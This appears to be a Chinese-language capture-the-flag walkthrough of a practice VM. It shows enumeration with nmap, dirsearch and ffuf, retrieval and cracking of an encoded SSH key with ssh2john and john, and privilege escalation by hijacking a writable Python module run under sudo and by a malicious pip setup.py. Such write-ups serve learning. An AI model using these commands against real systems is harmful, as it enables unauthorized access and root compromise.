参考链接
开始练习
本机ip:192.168.56.102
目的机ip:192.168.56.138
发现主机,nmap扫描
fping -aqg 192.168.56.0/24
nmap -A 192.168.56.138
访问http页面,同时目录枚举
dirsearch -u 192.168.56.138 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,html,txt,zip,bak
在nmap扫到的robots.txt中,不允许访问~myfiles 文件,于是fuzz类似文件名,发现~secret文件夹
ffuf -c -r -u 'http://192.168.56.138/~FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -fs 0
访问,是一段文字,内容为在该目录下有ssh私钥文件,需要继续枚举,由于私钥文件一般是在.ssh文件夹下,所以按照".FUZZ"的思路枚举,又由于是私钥文件,需要考虑添加后缀
ffuf -c -r -u 'http://192.168.56.138/~secret/.FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .php,.txt,.html -fs 0
查看该文件
http://192.168.56.138/~secret/.mysecret.txt
明显不是明文私钥,需要解密,这里用到在线解密dcode.fr
base58编码概率大,使用该方式分析,获得私钥明文,保存到本地文件,我创建的文件名为id_rsa
之后使用ssh2john爆破私钥密码
/ssh2john.py id_rsa | tee hash
john hash --wordlist=rockyou.txt
#这里没有想到/~secrets/里的提示,字典选的不对,应该选提示里说到的fasttrack.txt
john hash --wordlist=/usr/share/wordlists/fasttrack.txt
登陆成功,拿到userFLAG
看有没有特殊权限命令
sudo -l
arsene用户免密root执行heist.py ,看完文件,发现没有其余信息,只能从这个py文件入手,查看该文件,调用了一个webbrowser库
查找这个库,或者查找可编辑文件
find / -writable ! -path '/proc*' ! -path '/sys*' ! -path '/dev*' -exec ls -al {} \; 2>/dev/null
编辑webbrowser.py,利用该文件获取arsene的shell
echo import os >webbrowser.py
echo os.system("/bin/bash")>>webbrowser.py
#或者弹一个shell到本机也可以
sudo -u arsene /usr/bin/python 3.9 /home/arsene/heist.py
sudo -l
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
拿到root FLAG